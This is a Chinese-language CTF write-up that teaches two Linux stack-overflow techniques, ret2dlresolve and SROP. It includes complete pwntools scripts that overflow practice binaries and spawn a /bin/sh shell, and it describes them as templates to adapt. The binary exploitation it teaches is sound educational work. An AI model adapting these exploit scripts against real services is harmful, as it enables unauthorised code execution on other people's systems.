一、Ret2dlresolve
直接通过题来介绍如何使用,及什么时候使用,和基于pwntools工具的攻击。
非常明显通过read函数的栈溢出,但是没有后门函数,也没有能够打印的函数,无法得到libc基址,
同时汇编代码中没有syscall指令,也就不能用ret2syscall的方法去做。
所以利用ret2dlresolve的方法去伪造read函数的got表,这里直接利用工具去伪造,由于很少见到这类问题,想学手动构造及深析原理的朋友可以去自行搜索。这里给出脚本,遇到相关问题时,改一下覆盖字节大小。
from pwn import *
p=process("./pwn64")
elf = context.binary = ELF('./pwn64')
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw(b'A' * (0x30+8))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
二、SROP
具体原理及解析分别见
SROP - CTF WikiCTF Wikihttps://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
这里发现有个显著的区别就是所调用的函数均是通过syscall调用
这里看到题中所给的rax为0xF的gadget,刚好满足srop所用函数sigreturn的条件。
然后看脚本
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
p = process("./pwn")
def bug():
gdb.attach(p)
pause()
vuln=0x4004ed
syscall=0x400517
gadgets=0x4004DA
payload=b'a'*0x10+p64(vuln)
bug()
p.sendline(payload)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))
#伪造调用execve函数时寄存器信息
frame=SigreturnFrame()
#frame.rax=constants.SYS_execve #与下一行效果相同
frame.rax=0x3b #64位execve的系统调用号
frame.rdi=stack-296 #/bin/sh的地址
frame.rsi=0
frame.rdx=0
frame.rip=syscall
payload=b'/bin/sh\x00'*2+p64(gadgets)+p64(syscall)+bytes(frame) #伪造的寄存器信息发送时转化为字节
pause()
p.sendline(payload)
p.interactive()
然后看一下伪造前后的效果
这里是即将执行syscall调用sigreturn,可以看到rax寄存器为0xf
这里是执行这个函数
最后伪造完成,没有修改的寄存器变为0,然后执行execve函数,从而getshell。